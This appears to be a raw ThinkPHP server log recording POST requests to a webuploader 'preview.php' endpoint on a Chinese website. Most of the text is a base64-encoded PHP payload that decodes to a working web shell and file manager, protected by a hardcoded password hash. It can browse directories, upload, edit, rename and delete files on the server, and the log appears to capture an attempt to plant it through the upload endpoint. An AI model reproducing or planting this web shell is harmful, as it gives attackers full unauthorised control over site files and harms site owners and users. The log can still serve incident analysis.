gJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'js' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:30:06+08:00 ] 119.42.146.234 POST 51tianwei.com/admin/include//webuploader/0.1.15/server/preview.php [运行时间:0.002597s] [吞吐率:385.05req/s] [内存消耗:196.76kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'admin', 2 => 'include', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjw